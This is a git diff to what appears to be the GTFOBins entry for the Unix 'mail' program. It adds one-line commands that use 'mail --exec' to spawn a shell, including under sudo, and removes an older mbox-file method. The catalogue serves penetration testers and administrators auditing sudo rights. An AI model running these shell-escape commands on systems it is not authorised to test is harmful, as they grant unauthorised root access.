diff --git a/_gtfobins/mail.md b/_gtfobins/mail.md index 10a2bff..4198b83 100644 --- a/_gtfobins/mail.md +++ b/_gtfobins/mail.md @@ -1,6 +1,8 @@ --- functions: shell: + - description: GNU version only. + code: mail --exec='!/bin/sh' - description: This creates a valid Mbox file which may be required by the binary. code: | TF=$(mktemp) @@ -8,10 +10,6 @@ functions: mail -f $TF !/bin/sh sudo: - - description: This creates a valid Mbox file which may be required by the binary. - code: | - TF=$(mktemp) - echo "From nobody@localhost $(date)" > $TF - sudo mail -f $TF - !/bin/sh + - description: GNU version only. + code: sudo mail --exec='!/bin/sh' ---